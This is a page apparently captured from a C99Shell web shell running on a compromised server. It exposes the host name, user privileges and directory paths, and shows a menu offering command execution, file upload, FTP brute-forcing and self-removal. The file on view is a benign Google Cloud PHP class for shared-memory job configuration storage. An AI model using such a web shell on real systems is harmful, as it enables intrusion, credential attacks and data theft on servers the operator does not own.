!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/google/cloud-core/src/Batch/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SysvConfigStorage.php (4.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Copyright 2017 Google Inc. All Rights Reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace Google\Cloud\Core\Batch;

/**
 * ConfigStorageInterface implementation with SystemV IPC shared memory.
 *
 * @experimental The experimental flag means that while we believe this method
 *      or class is ready for use, it may change before release in backwards-
 *      incompatible ways. Please use with caution, and test thoroughly when
 *      upgrading.
 */
class SysvConfigStorage implements ConfigStorageInterface
{
    const 
VAR_KEY 1;

    const 
DEFAULT_SHM_SIZE 200000;

    const 
DEFAULT_PERM 0600;

    const 
DEFAULT_PROJECT 'A';

    
/* @var int */
    
private $sysvKey;

    
/* @var int */
    
private $semid;

    
/* @var int */
    
private $shmSize;

    
/* @var int */
    
private $perm;

    
/* @var string */
    
private $project;

    
/**
     * Prepare the key for semaphore and shared memory.
     */
    
public function __construct()
    {
        
$this->shmSize intval(getenv('GOOGLE_CLOUD_BATCH_SHM_SIZE'));
        if (
$this->shmSize === 0) {
            
$this->shmSize self::DEFAULT_SHM_SIZE;
        }
        
$this->perm octdec(getenv('GOOGLE_CLOUD_BATCH_PERM'));
        if (
$this->perm === 0) {
            
$this->perm self::DEFAULT_PERM;
        }
        
$this->project getenv('GOOGLE_CLOUD_BATCH_PROJECT');
        if (
$this->project === false) {
            
$this->project self::DEFAULT_PROJECT;
        }
        
$this->sysvKey ftok(__FILE__$this->project);
        
$this->semid sem_get($this->sysvKey1$this->perm1);
    }

    
/**
     * Acquire a lock.
     *
     * @return bool
     */
    
public function lock()
    {
        return 
sem_acquire($this->semid);
    }

    
/**
     * Release a lock.
     *
     * @return bool
     */
    
public function unlock()
    {
        return 
sem_release($this->semid);
    }

    
/**
     * Save the given JobConfig.
     *
     * @param JobConfig $config A JobConfig to save.
     * @return bool
     * @throws \RuntimeException when failed to attach to the shared memory or serialization fails
     */
    
public function save(JobConfig $config)
    {
        
$shmid shm_attach($this->sysvKey$this->shmSize$this->perm);
        if (
$shmid === false) {
            throw new 
\RuntimeException(
                
'Failed to attach to the shared memory'
            
);
        }

        
// If the variable write fails, clear the memory and re-raise the exception
        
try {
            
$result shm_put_var($shmidself::VAR_KEY$config);
        } catch (
\Exception $e) {
            
$this->clear();
            throw new 
\RuntimeException($e->getMessage());
        } finally {
            
shm_detach($shmid);
        }
        return 
$result;
    }

    
/**
     * Load a JobConfig from the storage.
     *
     * @return JobConfig
     * @throws \RuntimeException when failed to attach to the shared memory or deserialization fails
     */
    
public function load()
    {
        
$shmid shm_attach($this->sysvKey$this->shmSize$this->perm);
        if (
$shmid === false) {
            throw new 
\RuntimeException(
                
'Failed to attach to the shared memory'
            
);
        }
        if (! 
shm_has_var($shmidself::VAR_KEY)) {
            
$result = new JobConfig();
        } else {
            
$result shm_get_var($shmidself::VAR_KEY);
        }
        
shm_detach($shmid);

        if (
$result === false) {
            throw new 
\RuntimeException(
                
'Failed to deserialize data from shared memory'
            
);
        }
        return 
$result;
    }

    
/**
     * Clear the JobConfig from storage.
     */
    
public function clear()
    {
        
$shmid shm_attach($this->sysvKey$this->shmSize$this->perm);
        
shm_remove_var($shmidself::VAR_KEY);
    }

    
/**
     * Serialize the object
     */
    
public function __serialize()
    {
        
$vars get_object_vars($this);
        
// As of PHP 8.0, "semid" is the unserializable object "SysvSemaphore"
        // @see https://github.com/googleapis/google-cloud-php/issues/3749
        
unset($vars['semid']);
        return 
$vars;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--